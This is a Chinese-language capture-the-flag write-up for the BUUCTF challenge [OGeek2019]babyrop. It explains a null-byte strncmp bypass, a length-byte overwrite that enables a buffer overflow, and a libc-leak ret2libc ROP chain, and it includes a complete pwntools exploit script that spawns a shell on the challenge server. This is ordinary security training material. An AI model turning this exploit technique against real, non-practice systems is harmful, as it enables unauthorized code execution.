[BUUCTF]PWN7——[OGeek2019]babyrop

[BUUCTF]PWN7——[OGeek2019]babyrop

题目网址:https://buuoj.cn/challenges#[OGeek2019]babyrop

步骤:
例行检查,32位,开启了RELRO(对got表不可以写)和NX(堆栈不可执行)
在这里插入图片描述
nc的时候没有什么回显,用32位ida打开附件,shift+f12查看程序里的字符串,没有发现system和/bin/sh
在这里插入图片描述
从main函数开始看程序
在这里插入图片描述

在这里插入图片描述
用户输入一个字符串给buf,然后跟随机数比较大小,strncmp里的比较长度的参数v1是我们输入的字符串的长度,strlen遇到‘’结束,因此可以利用‘’来绕过比较字符串操作,避免执行到exit(0)

在这里插入图片描述

这里的a1是上一个函数的返回值,看一v5的地址,可以看到就在buf的地址里,我们只要在读入buf的时候将这个位置填上255(xff),之后就会执行else,那么我们就可以对buf进行溢出了
在这里插入图片描述
这题给出了libc版本,因此我们只要泄露一个函数地址后就可以算出偏移量,之后就能构造rop执行system(‘/bin/sh’)了

exp

from pwn import *

p = remote("node3.buuoj.cn",26154)
libc=ELF('libc-2.23.so')
elf = ELF('./pwn1')

write_plt = elf.plt['write']
write_got = elf.got['write']
main = 0x08048825

payload1 = "x00" + "xff"*7
p.sendline(payload1)
p.recvuntil("Correct
")

payload2 = "a"*0xe7+'a'*4 
payload2 += p32(write_plt) +p32(main)+ p32(1)+p32(write_got)+p32(0x8)

p.sendline(payload2)

write_addr=u32(p.recv(4))



offset = write_addr - libc.sym['write']
system_addr=offset+libc.sym['system']
bin_sh_addr=offset+libc.search('/bin/sh').next()

p.sendline(payload1)
p.recvuntil('Correct
')
payload3 = "a"*0xe7 + 'a'*4
payload3 += p32(system_addr) + "a"*4 + p32(bin_sh_addr)
p.sendline(payload3)

p.interactive()

在这里插入图片描述

原文地址:https://www.cnblogs.com/xlrp/p/14273727.html